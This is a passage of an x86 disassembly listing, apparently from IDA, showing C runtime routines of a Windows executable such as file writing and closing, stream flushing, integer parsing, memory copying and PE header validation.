loc_414909: ; CODE XREF: sub_41440F+4EFj call dword_41C0A4 ; RtlGetLastWin32Error mov [ebp+518h+var_56C], eax loc_414912: ; CODE XREF: sub_41440F+4F8j cmp edi, esi jg short loc_41495D mov eax, [ebp+518h+var_574] sub eax, [ebp+518h+var_57C] cmp eax, [ebp+518h+arg_8] mov [ebp+518h+var_578], eax jb loc_414861 jmp short loc_41495D ; --------------------------------------------------------------------------- loc_41492D: ; CODE XREF: sub_41440F+2F3j push 0 lea ecx, [ebp+518h+var_584] push ecx push [ebp+518h+arg_8] push [ebp+518h+var_57C] push dword ptr [eax] call dword_41C17C ; WriteFile test eax, eax jz short loc_414954 mov eax, [ebp+518h+var_584] and [ebp+518h+var_56C], 0 mov [ebp+518h+var_578], eax jmp short loc_41495D ; --------------------------------------------------------------------------- loc_414954: ; CODE XREF: sub_41440F+21Aj ; sub_41440F+25Bj ... call dword_41C0A4 ; RtlGetLastWin32Error mov [ebp+518h+var_56C], eax loc_41495D: ; CODE XREF: sub_41440F+199j ; sub_41440F+1AFj ... mov eax, [ebp+518h+var_578] test eax, eax jnz short loc_4149BA mov edi, [ebp+518h+var_588] loc_414967: ; CODE XREF: sub_41440F+153j xor esi, esi cmp [ebp+518h+var_56C], esi jz short loc_41498E push 5 pop esi cmp [ebp+518h+var_56C], esi jnz short loc_414983 call sub_40F79E mov dword ptr [eax], 9 jmp short loc_4149AE ; --------------------------------------------------------------------------- loc_414983: ; CODE XREF: sub_41440F+565j push [ebp+518h+var_56C] call sub_40F7C4 pop ecx jmp short loc_4149B5 ; --------------------------------------------------------------------------- loc_41498E: ; CODE XREF: sub_41440F+314j ; sub_41440F+3AFj ... mov eax, [edi] test byte ptr [ebx+eax+4], 40h jz short loc_4149A3 mov eax, [ebp+518h+var_57C] cmp byte ptr [eax], 1Ah jnz short loc_4149A3 xor eax, eax jmp short loc_4149BD ; --------------------------------------------------------------------------- loc_4149A3: ; CODE XREF: sub_41440F+586j ; sub_41440F+58Ej call sub_40F79E mov dword ptr [eax], 1Ch loc_4149AE: ; CODE XREF: sub_41440F+572j call sub_40F7B1 mov [eax], esi loc_4149B5: ; CODE XREF: sub_41440F+CCj ; sub_41440F+57Dj or eax, 0FFFFFFFFh jmp short loc_4149BD ; --------------------------------------------------------------------------- loc_4149BA: ; CODE XREF: sub_41440F+553j sub eax, [ebp+518h+var_580] loc_4149BD: ; CODE XREF: sub_41440F+592j ; sub_41440F+5A9j pop edi pop ebx loc_4149BF: ; CODE XREF: sub_41440F+37j ; sub_41440F+62j mov ecx, [ebp+518h+var_4] xor ecx, ebp pop esi call sub_410BCD add ebp, 518h leave retn sub_41440F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4149D5 proc near ; CODE XREF: sub_40FB62+ADp ; sub_4111BA+CBp ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push 10h push offset dword_41FAB0 call __SEH_prolog4 mov eax, [ebp+arg_0] cmp eax, 0FFFFFFFEh jnz short loc_414A04 call sub_40F7B1 and dword ptr [eax], 0 call sub_40F79E mov dword ptr [eax], 9 loc_4149FC: ; CODE XREF: sub_4149D5+5Cj or eax, 0FFFFFFFFh jmp loc_414AA1 ; --------------------------------------------------------------------------- loc_414A04: ; CODE XREF: sub_4149D5+12j xor edi, edi cmp eax, edi jl short loc_414A12 cmp eax, dword_424EC8 jb short loc_414A33 loc_414A12: ; CODE XREF: sub_4149D5+33j ; sub_4149D5+7Cj call sub_40F7B1 mov [eax], edi call sub_40F79E mov dword ptr [eax], 9 push edi push edi push edi push edi push edi call sub_40DCD8 add esp, 14h jmp short loc_4149FC ; --------------------------------------------------------------------------- loc_414A33: ; CODE XREF: sub_4149D5+3Bj mov ecx, eax sar ecx, 5 lea ebx, ds:424EE0h[ecx*4] mov esi, eax and esi, 1Fh imul esi, 28h mov ecx, [ebx] movzx ecx, byte ptr [ecx+esi+4] and ecx, 1 jz short loc_414A12 push eax call sub_419E76 pop ecx mov [ebp+ms_exc.disabled], edi mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_414A7C push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41440F add esp, 0Ch mov [ebp+var_1C], eax jmp short loc_414A92 ; --------------------------------------------------------------------------- loc_414A7C: ; CODE XREF: sub_4149D5+8Fj call sub_40F79E mov dword ptr [eax], 9 call sub_40F7B1 mov [eax], edi or [ebp+var_1C], 0FFFFFFFFh loc_414A92: ; CODE XREF: sub_4149D5+A5j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_414AA7 mov eax, [ebp+var_1C] loc_414AA1: ; CODE XREF: sub_4149D5+2Aj call __SEH_epilog4 retn sub_4149D5 endp ; =============== S U B R O U T I N E ======================================= sub_414AA7 proc near ; CODE XREF: sub_4149D5+C4p ; DATA XREF: .vty:0041FAC8o push dword ptr [ebp+8] call sub_419F16 pop ecx retn sub_414AA7 endp ; =============== S U B R O U T I N E ======================================= sub_414AB1 proc near ; CODE XREF: sub_40FB62+A6p ; sub_40FD09+42p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi xor esi, esi cmp eax, esi jnz short loc_414AD9 call sub_40F79E push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call sub_40DCD8 add esp, 14h or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_414AD9: ; CODE XREF: sub_414AB1+9j mov eax, [eax+10h] pop esi retn sub_414AB1 endp ; =============== S U B R O U T I N E ======================================= sub_414ADE proc near ; CODE XREF: sub_40FB62+86p ; sub_40FD09+34p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] mov eax, [esi+0Ch] mov ecx, eax and cl, 3 xor ebx, ebx cmp cl, 2 jnz short loc_414B32 test ax, 108h jz short loc_414B32 mov eax, [esi+8] push edi mov edi, [esi] sub edi, eax test edi, edi jle short loc_414B31 push edi push eax push esi call sub_414AB1 pop ecx push eax call sub_4149D5 add esp, 0Ch cmp eax, edi jnz short loc_414B2A mov eax, [esi+0Ch] test al, al jns short loc_414B31 and eax, 0FFFFFFFDh mov [esi+0Ch], eax jmp short loc_414B31 ; --------------------------------------------------------------------------- loc_414B2A: ; CODE XREF: sub_414ADE+3Bj or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_414B31: ; CODE XREF: sub_414ADE+25j ; sub_414ADE+42j ... pop edi loc_414B32: ; CODE XREF: sub_414ADE+13j ; sub_414ADE+19j mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop esi mov eax, ebx pop ebx retn sub_414ADE endp ; =============== S U B R O U T I N E ======================================= sub_414B40 proc near ; CODE XREF: sub_414B82+69p ; sub_414B82+84p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_414B52 push esi call sub_414B82 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_414B52: ; CODE XREF: sub_414B40+7j push esi call sub_414ADE test eax, eax pop ecx jz short loc_414B62 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_414B62: ; CODE XREF: sub_414B40+1Bj test word ptr [esi+0Ch], 4000h jz short loc_414B7E push esi call sub_414AB1 push eax call sub_41A0D7 pop ecx pop ecx neg eax sbb eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_414B7E: ; CODE XREF: sub_414B40+28j xor eax, eax pop esi retn sub_414B40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414B82 proc near ; CODE XREF: sub_414B40+Ap ; sub_414C5C+2p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00414C35 SIZE 0000001E BYTES push 14h push offset dword_41FAD0 call __SEH_prolog4 xor edi, edi mov [ebp+var_1C], edi mov [ebp+var_24], edi push 1 call sub_416DA6 pop ecx mov [ebp+ms_exc.disabled], edi xor esi, esi loc_414BA3: ; CODE XREF: sub_414B82+9Bj mov [ebp+var_20], esi cmp esi, dword_426000 jge loc_414C35 mov eax, dword_424FE0 lea eax, [eax+esi*4] cmp [eax], edi jz short loc_414C1C mov eax, [eax] test byte ptr [eax+0Ch], 83h jz short loc_414C1C push eax push esi call sub_413B88 pop ecx pop ecx xor edx, edx inc edx mov [ebp+ms_exc.disabled], edx mov eax, dword_424FE0 mov eax, [eax+esi*4] mov ecx, [eax+0Ch] test cl, 83h jz short loc_414C14 cmp [ebp+arg_0], edx jnz short loc_414BFB push eax call sub_414B40 pop ecx cmp eax, 0FFFFFFFFh jz short loc_414C14 inc [ebp+var_1C] jmp short loc_414C14 ; --------------------------------------------------------------------------- loc_414BFB: ; CODE XREF: sub_414B82+66j cmp [ebp+arg_0], edi jnz short loc_414C14 test cl, 2 jz short loc_414C14 push eax call sub_414B40 pop ecx cmp eax, 0FFFFFFFFh jnz short loc_414C14 or [ebp+var_24], eax loc_414C14: ; CODE XREF: sub_414B82+61j ; sub_414B82+72j ... mov [ebp+ms_exc.disabled], edi call sub_414C24 loc_414C1C: ; CODE XREF: sub_414B82+3Aj ; sub_414B82+42j inc esi jmp short loc_414BA3 sub_414B82 endp ; =============== S U B R O U T I N E ======================================= sub_414C1F proc near ; DATA XREF: .vty:0041FAF4o xor edi, edi mov esi, [ebp-20h] sub_414C1F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_414C24 proc near ; CODE XREF: sub_414B82+95p mov eax, dword_424FE0 push dword ptr [eax+esi*4] push esi call sub_413BDA pop ecx pop ecx retn sub_414C24 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_414B82 loc_414C35: ; CODE XREF: sub_414B82+2Aj mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_414C53 cmp [ebp+arg_0], 1 mov eax, [ebp+var_1C] jz short loc_414C4D mov eax, [ebp+var_24] loc_414C4D: ; CODE XREF: sub_414B82+C6j call __SEH_epilog4 retn ; END OF FUNCTION CHUNK FOR sub_414B82 ; =============== S U B R O U T I N E ======================================= sub_414C53 proc near ; CODE XREF: sub_414B82+BAp ; DATA XREF: .vty:0041FAE8o push 1 call sub_416CCE pop ecx retn sub_414C53 endp ; =============== S U B R O U T I N E ======================================= sub_414C5C proc near ; CODE XREF: sub_413B39p push 1 call sub_414B82 pop ecx retn sub_414C5C endp ; =============== S U B R O U T I N E ======================================= sub_414C65 proc near ; CODE XREF: sub_414CF9+94p ; sub_418D2B+340p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi push esi call sub_419E05 cmp eax, 0FFFFFFFFh pop ecx jz short loc_414CC4 cmp esi, 1 mov eax, dword_424EE0 jnz short loc_414C87 test byte ptr [eax+54h], 1 jnz short loc_414C92 loc_414C87: ; CODE XREF: sub_414C65+1Aj cmp esi, 2 jnz short loc_414CA8 test byte ptr [eax+2Ch], 1 jz short loc_414CA8 loc_414C92: ; CODE XREF: sub_414C65+20j push 2 call sub_419E05 push 1 mov edi, eax call sub_419E05 cmp eax, edi pop ecx pop ecx jz short loc_414CC4 loc_414CA8: ; CODE XREF: sub_414C65+25j ; sub_414C65+2Bj push esi call sub_419E05 pop ecx push eax call dword_41C0D4 ; CloseHandle test eax, eax jnz short loc_414CC4 call dword_41C0A4 ; RtlGetLastWin32Error mov edi, eax jmp short loc_414CC6 ; --------------------------------------------------------------------------- loc_414CC4: ; CODE XREF: sub_414C65+10j ; sub_414C65+41j ... xor edi, edi loc_414CC6: ; CODE XREF: sub_414C65+5Dj push esi call sub_419D84 mov eax, esi and esi, 1Fh imul esi, 28h sar eax, 5 test edi, edi mov eax, dword_424EE0[eax*4] pop ecx mov byte ptr [eax+esi+4], 0 jz short loc_414CF4 push edi call sub_40F7C4 pop ecx or eax, 0FFFFFFFFh jmp short loc_414CF6 ; --------------------------------------------------------------------------- loc_414CF4: ; CODE XREF: sub_414C65+81j xor eax, eax loc_414CF6: ; CODE XREF: sub_414C65+8Dj pop edi pop esi retn sub_414C65 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414CF9 proc near ; CODE XREF: sub_40FD09+48p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 10h push offset dword_41FAF8 call __SEH_prolog4 mov eax, [ebp+arg_0] cmp eax, 0FFFFFFFEh jnz short loc_414D28 call sub_40F7B1 and dword ptr [eax], 0 call sub_40F79E mov dword ptr [eax], 9 loc_414D20: ; CODE XREF: sub_414CF9+5Cj or eax, 0FFFFFFFFh jmp loc_414DB6 ; --------------------------------------------------------------------------- loc_414D28: ; CODE XREF: sub_414CF9+12j xor edi, edi cmp eax, edi jl short loc_414D36 cmp eax, dword_424EC8 jb short loc_414D57 loc_414D36: ; CODE XREF: sub_414CF9+33j ; sub_414CF9+7Cj call sub_40F7B1 mov [eax], edi call sub_40F79E mov dword ptr [eax], 9 push edi push edi push edi push edi push edi call sub_40DCD8 add esp, 14h jmp short loc_414D20 ; --------------------------------------------------------------------------- loc_414D57: ; CODE XREF: sub_414CF9+3Bj mov ecx, eax sar ecx, 5 lea ebx, ds:424EE0h[ecx*4] mov esi, eax and esi, 1Fh imul esi, 28h mov ecx, [ebx] movzx ecx, byte ptr [ecx+esi+4] and ecx, 1 jz short loc_414D36 push eax call sub_419E76 pop ecx mov [ebp+ms_exc.disabled], edi mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_414D98 push [ebp+arg_0] call sub_414C65 pop ecx mov [ebp+var_1C], eax jmp short loc_414DA7 ; --------------------------------------------------------------------------- loc_414D98: ; CODE XREF: sub_414CF9+8Fj call sub_40F79E mov dword ptr [eax], 9 or [ebp+var_1C], 0FFFFFFFFh loc_414DA7: ; CODE XREF: sub_414CF9+9Dj mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_414DBC mov eax, [ebp+var_1C] loc_414DB6: ; CODE XREF: sub_414CF9+2Aj call __SEH_epilog4 retn sub_414CF9 endp ; =============== S U B R O U T I N E ======================================= sub_414DBC proc near ; CODE XREF: sub_414CF9+B5p ; DATA XREF: .vty:0041FB10o push dword ptr [ebp+8] call sub_419F16 pop ecx retn sub_414DBC endp ; =============== S U B R O U T I N E ======================================= sub_414DC6 proc near ; CODE XREF: sub_40FD09+3Cp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_414DF0 test al, 8 jz short loc_414DF0 push dword ptr [esi+8] call sub_41112C and dword ptr [esi+0Ch], 0FFFFFBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_414DF0: ; CODE XREF: sub_414DC6+Aj ; sub_414DC6+Ej pop esi retn sub_414DC6 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_414E00 proc near ; CODE XREF: sub_40FDF8+29p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_414E22 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_414E63 ; --------------------------------------------------------------------------- loc_414E22: ; CODE XREF: sub_414E00+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_414E30: ; CODE XREF: sub_414E00+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_414E30 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_414E5E cmp edx, [esp+8+arg_4] ja short loc_414E5E jb short loc_414E5F cmp eax, [esp+8+arg_0] jbe short loc_414E5F loc_414E5E: ; CODE XREF: sub_414E00+4Ej ; sub_414E00+54j dec esi loc_414E5F: ; CODE XREF: sub_414E00+56j ; sub_414E00+5Cj xor edx, edx mov eax, esi loc_414E63: ; CODE XREF: sub_414E00+20j pop esi pop ebx retn 10h sub_414E00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414E68 proc near ; CODE XREF: sub_415093:loc_4150B2p var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h push esi push edi push [ebp+arg_0] lea ecx, [ebp+var_14] call sub_40F7E2 mov eax, [ebp+arg_8] mov esi, [ebp+arg_4] xor edi, edi cmp eax, edi jz short loc_414E89 mov [eax], esi loc_414E89: ; CODE XREF: sub_414E68+1Dj cmp esi, edi jnz short loc_414EB9 loc_414E8D: ; CODE XREF: sub_414E68+5Aj ; sub_414E68+60j call sub_40F79E push edi push edi push edi push edi push edi mov dword ptr [eax], 16h call sub_40DCD8 add esp, 14h cmp [ebp+var_8], 0 jz short loc_414EB2 mov eax, [ebp+var_C] and dword ptr [eax+70h], 0FFFFFFFDh loc_414EB2: ; CODE XREF: sub_414E68+41j xor eax, eax jmp loc_41508F ; --------------------------------------------------------------------------- loc_414EB9: ; CODE XREF: sub_414E68+23j cmp [ebp+arg_C], edi jz short loc_414ECA cmp [ebp+arg_C], 2 jl short loc_414E8D cmp [ebp+arg_C], 24h jg short loc_414E8D loc_414ECA: ; CODE XREF: sub_414E68+54j mov ecx, [ebp+var_14] push ebx mov bl, [esi] mov [ebp+var_4], edi lea edi, [esi+1] loc_414ED6: ; CODE XREF: sub_414E68+A5j cmp dword ptr [ecx+0ACh], 1 jle short loc_414EF6 lea eax, [ebp+var_14] push eax movzx eax, bl push 8 push eax call sub_4139CC mov ecx, [ebp+var_14] add esp, 0Ch jmp short loc_414F06 ; --------------------------------------------------------------------------- loc_414EF6: ; CODE XREF: sub_414E68+75j mov edx, [ecx+0C8h] movzx eax, bl movzx eax, byte ptr [edx+eax*2] and eax, 8 loc_414F06: ; CODE XREF: sub_414E68+8Cj test eax, eax jz short loc_414F0F mov bl, [edi] inc edi jmp short loc_414ED6 ; --------------------------------------------------------------------------- loc_414F0F: ; CODE XREF: sub_414E68+A0j cmp bl, 2Dh jnz short loc_414F1A or [ebp+arg_10], 2 jmp short loc_414F1F ; --------------------------------------------------------------------------- loc_414F1A: ; CODE XREF: sub_414E68+AAj cmp bl, 2Bh jnz short loc_414F22 loc_414F1F: ; CODE XREF: sub_414E68+B0j mov bl, [edi] inc edi loc_414F22: ; CODE XREF: sub_414E68+B5j mov eax, [ebp+arg_C] test eax, eax jl loc_415076 cmp eax, 1 jz loc_415076 cmp eax, 24h jg loc_415076 test eax, eax jnz short loc_414F6D cmp bl, 30h jz short loc_414F51 mov [ebp+arg_C], 0Ah jmp short loc_414F85 ; --------------------------------------------------------------------------- loc_414F51: ; CODE XREF: sub_414E68+DEj mov al, [edi] cmp al, 78h jz short loc_414F64 cmp al, 58h jz short loc_414F64 mov [ebp+arg_C], 8 jmp short loc_414F85 ; --------------------------------------------------------------------------- loc_414F64: ; CODE XREF: sub_414E68+EDj ; sub_414E68+F1j mov [ebp+arg_C], 10h jmp short loc_414F77 ; --------------------------------------------------------------------------- loc_414F6D: ; CODE XREF: sub_414E68+D9j cmp eax, 10h jnz short loc_414F85 cmp bl, 30h jnz short loc_414F85 loc_414F77: ; CODE XREF: sub_414E68+103j mov al, [edi] cmp al, 78h jz short loc_414F81 cmp al, 58h jnz short loc_414F85 loc_414F81: ; CODE XREF: sub_414E68+113j inc edi mov bl, [edi] inc edi loc_414F85: ; CODE XREF: sub_414E68+E7j ; sub_414E68+FAj ... mov esi, [ecx+0C8h] or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_C] loc_414F93: ; CODE XREF: sub_414E68+19Dj movzx ecx, bl movzx ecx, word ptr [esi+ecx*2] test cl, 4 jz short loc_414FA7 movsx ecx, bl sub ecx, 30h jmp short loc_414FC1 ; --------------------------------------------------------------------------- loc_414FA7: ; CODE XREF: sub_414E68+135j test cx, 103h jz short loc_414FDF mov cl, bl sub cl, 61h cmp cl, 19h movsx ecx, bl ja short loc_414FBE sub ecx, 20h loc_414FBE: ; CODE XREF: sub_414E68+151j add ecx, 0FFFFFFC9h loc_414FC1: ; CODE XREF: sub_414E68+13Dj cmp ecx, [ebp+arg_C] jnb short loc_414FDF or [ebp+arg_10], 8 cmp [ebp+var_4], eax jb short loc_414FF6 jnz short loc_414FD5 cmp ecx, edx jbe short loc_414FF6 loc_414FD5: ; CODE XREF: sub_414E68+167j or [ebp+arg_10], 4 cmp [ebp+arg_8], 0 jnz short loc_415002 loc_414FDF: ; CODE XREF: sub_414E68+144j ; sub_414E68+15Cj mov eax, [ebp+arg_10] dec edi test al, 8 jnz short loc_415007 cmp [ebp+arg_8], 0 jz short loc_414FF0 mov edi, [ebp+arg_4] loc_414FF0: ; CODE XREF: sub_414E68+183j and [ebp+var_4], 0 jmp short loc_415052 ; --------------------------------------------------------------------------- loc_414FF6: ; CODE XREF: sub_414E68+165j ; sub_414E68+16Bj mov ebx, [ebp+var_4] imul ebx, [ebp+arg_C] add ebx, ecx mov [ebp+var_4], ebx loc_415002: ; CODE XREF: sub_414E68+175j mov bl, [edi] inc edi jmp short loc_414F93 ; --------------------------------------------------------------------------- loc_415007: ; CODE XREF: sub_414E68+17Dj test al, 4 mov esi, 7FFFFFFFh jnz short loc_41502B test al, 1 jnz short loc_415052 and eax, 2 jz short loc_415022 cmp [ebp+var_4], 80000000h ja short loc_41502B loc_415022: ; CODE XREF: sub_414E68+1AFj test eax, eax jnz short loc_415052 cmp [ebp+var_4], esi jbe short loc_415052 loc_41502B: ; CODE XREF: sub_414E68+1A6j ; sub_414E68+1B8j call sub_40F79E test byte ptr [ebp+arg_10], 1 mov dword ptr [eax], 22h jz short loc_415042 or [ebp+var_4], 0FFFFFFFFh jmp short loc_415052 ; --------------------------------------------------------------------------- loc_415042: ; CODE XREF: sub_414E68+1D2j mov al, byte ptr [ebp+arg_10] and al, 2 neg al sbb eax, eax neg eax add eax, esi mov [ebp+var_4], eax loc_415052: ; CODE XREF: sub_414E68+18Cj ; sub_414E68+1AAj ... mov eax, [ebp+arg_8] test eax, eax jz short loc_41505B mov [eax], edi loc_41505B: ; CODE XREF: sub_414E68+1EFj test byte ptr [ebp+arg_10], 2 jz short loc_415064 neg [ebp+var_4] loc_415064: ; CODE XREF: sub_414E68+1F7j cmp [ebp+var_8], 0 jz short loc_415071 mov eax, [ebp+var_C] and dword ptr [eax+70h], 0FFFFFFFDh loc_415071: ; CODE XREF: sub_414E68+200j mov eax, [ebp+var_4] jmp short loc_41508E ; --------------------------------------------------------------------------- loc_415076: ; CODE XREF: sub_414E68+BFj ; sub_414E68+C8j ... mov eax, [ebp+arg_8] test eax, eax jz short loc_41507F mov [eax], esi loc_41507F: ; CODE XREF: sub_414E68+213j cmp [ebp+var_8], 0 jz short loc_41508C mov eax, [ebp+var_C] and dword ptr [eax+70h], 0FFFFFFFDh loc_41508C: ; CODE XREF: sub_414E68+21Bj xor eax, eax loc_41508E: ; CODE XREF: sub_414E68+20Cj pop ebx loc_41508F: ; CODE XREF: sub_414E68+4Cj pop edi pop esi leave retn sub_414E68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415093 proc near ; CODE XREF: sub_41002F+8p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp xor eax, eax cmp dword_424424, eax push eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] jnz short loc_4150B1 push offset off_423898 jmp short loc_4150B2 ; --------------------------------------------------------------------------- loc_4150B1: ; CODE XREF: sub_415093+15j push eax loc_4150B2: ; CODE XREF: sub_415093+1Cj call sub_414E68 add esp, 14h pop ebp retn sub_415093 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4150BC proc near ; CODE XREF: sub_415143+4Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 mov [ebp+var_4], edi mov [ebp+var_8], esi mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] mov ecx, [ebp+arg_8] shr ecx, 7 jmp short loc_4150DC ; --------------------------------------------------------------------------- db 8Dh, 9Bh, 4 dup(0) ; --------------------------------------------------------------------------- loc_4150DC: ; CODE XREF: sub_4150BC+18j ; sub_4150BC+7Bj movdqa xmm0, oword ptr [esi] movdqa xmm1, oword ptr [esi+10h] movdqa xmm2, oword ptr [esi+20h] movdqa xmm3, oword ptr [esi+30h] movdqa oword ptr [edi], xmm0 movdqa oword ptr [edi+10h], xmm1 movdqa oword ptr [edi+20h], xmm2 movdqa oword ptr [edi+30h], xmm3 movdqa xmm4, oword ptr [esi+40h] movdqa xmm5, oword ptr [esi+50h] movdqa xmm6, oword ptr [esi+60h] movdqa xmm7, oword ptr [esi+70h] movdqa oword ptr [edi+40h], xmm4 movdqa oword ptr [edi+50h], xmm5 movdqa oword ptr [edi+60h], xmm6 movdqa oword ptr [edi+70h], xmm7 lea esi, [esi+80h] lea edi, [edi+80h] dec ecx jnz short loc_4150DC mov esi, [ebp+var_8] mov edi, [ebp+var_4] mov esp, ebp pop ebp retn sub_4150BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415143 proc near ; CODE XREF: sub_410050+42j ; sub_410C50+42j ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1Ch mov [ebp+var_C], edi mov [ebp+var_8], esi mov [ebp+var_4], ebx mov ebx, [ebp+arg_4] mov eax, ebx cdq mov ecx, eax mov eax, [ebp+arg_0] xor ecx, edx sub ecx, edx and ecx, 0Fh xor ecx, edx sub ecx, edx cdq mov edi, eax xor edi, edx sub edi, edx and edi, 0Fh xor edi, edx sub edi, edx mov edx, ecx or edx, edi jnz short loc_4151C6 mov esi, [ebp+arg_8] mov ecx, esi and ecx, 7Fh mov [ebp+var_18], ecx cmp esi, ecx jz short loc_41519E sub esi, ecx push esi push ebx push eax call sub_4150BC add esp, 0Ch mov eax, [ebp+arg_0] mov ecx, [ebp+var_18] loc_41519E: ; CODE XREF: sub_415143+46j test ecx, ecx jz short loc_415219 mov ebx, [ebp+arg_8] mov edx, [ebp+arg_4] add edx, ebx sub edx, ecx mov [ebp+var_14], edx add ebx, eax sub ebx, ecx mov [ebp+var_10], ebx mov esi, [ebp+var_14] mov edi, [ebp+var_10] mov ecx, [ebp+var_18] rep movsb mov eax, [ebp+arg_0] jmp short loc_415219 ; --------------------------------------------------------------------------- loc_4151C6: ; CODE XREF: sub_415143+37j cmp ecx, edi jnz short loc_4151FF neg ecx add ecx, 10h mov [ebp+var_1C], ecx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] mov ecx, [ebp+var_1C] rep movsb mov ecx, [ebp+arg_0] add ecx, [ebp+var_1C] mov edx, [ebp+arg_4] add edx, [ebp+var_1C] mov eax, [ebp+arg_8] sub eax, [ebp+var_1C] push eax push edx push ecx call sub_415143 add esp, 0Ch mov eax, [ebp+arg_0] jmp short loc_415219 ; --------------------------------------------------------------------------- loc_4151FF: ; CODE XREF: sub_415143+85j mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] mov ecx, [ebp+arg_8] mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebp+arg_0] loc_415219: ; CODE XREF: sub_415143+5Dj ; sub_415143+81j ... mov ebx, [ebp+var_4] mov esi, [ebp+var_8] mov edi, [ebp+var_C] mov esp, ebp pop ebp retn sub_415143 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415230 proc near ; CODE XREF: sub_4152A2+16p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 5A4Dh jz short loc_41523E loc_41523B: ; CODE XREF: sub_415230+19j xor eax, eax retn ; --------------------------------------------------------------------------- loc_41523E: ; CODE XREF: sub_415230+9j mov eax, [ecx+3Ch] add eax, ecx cmp dword ptr [eax], 4550h jnz short loc_41523B xor ecx, ecx cmp word ptr [eax+18h], 10Bh setz cl mov eax, ecx retn sub_415230 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415260 proc near ; CODE XREF: sub_4152A2+27p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, [eax+3Ch] add ecx, eax movzx eax, word ptr [ecx+14h] push ebx push esi movzx esi, word ptr [ecx+6] xor edx, edx test esi, esi push edi lea eax, [eax+ecx+18h] jbe short loc_41529C mov edi, [esp+0Ch+arg_4] loc_415282: ; CODE XREF: sub_415260+3Aj mov ecx, [eax+0Ch] cmp edi, ecx jb short loc_415292 mov ebx, [eax+8] add ebx, ecx cmp edi, ebx jb short loc_41529E loc_415292: ; CODE XREF: sub_415260+27j add edx, 1 add eax, 28h cmp edx, esi jb short loc_415282 loc_41529C: ; CODE XREF: sub_415260+1Cj xor eax, eax loc_41529E: ; CODE XREF: sub_415260+30j pop edi pop esi pop ebx retn sub_415260 endp ; =============== S 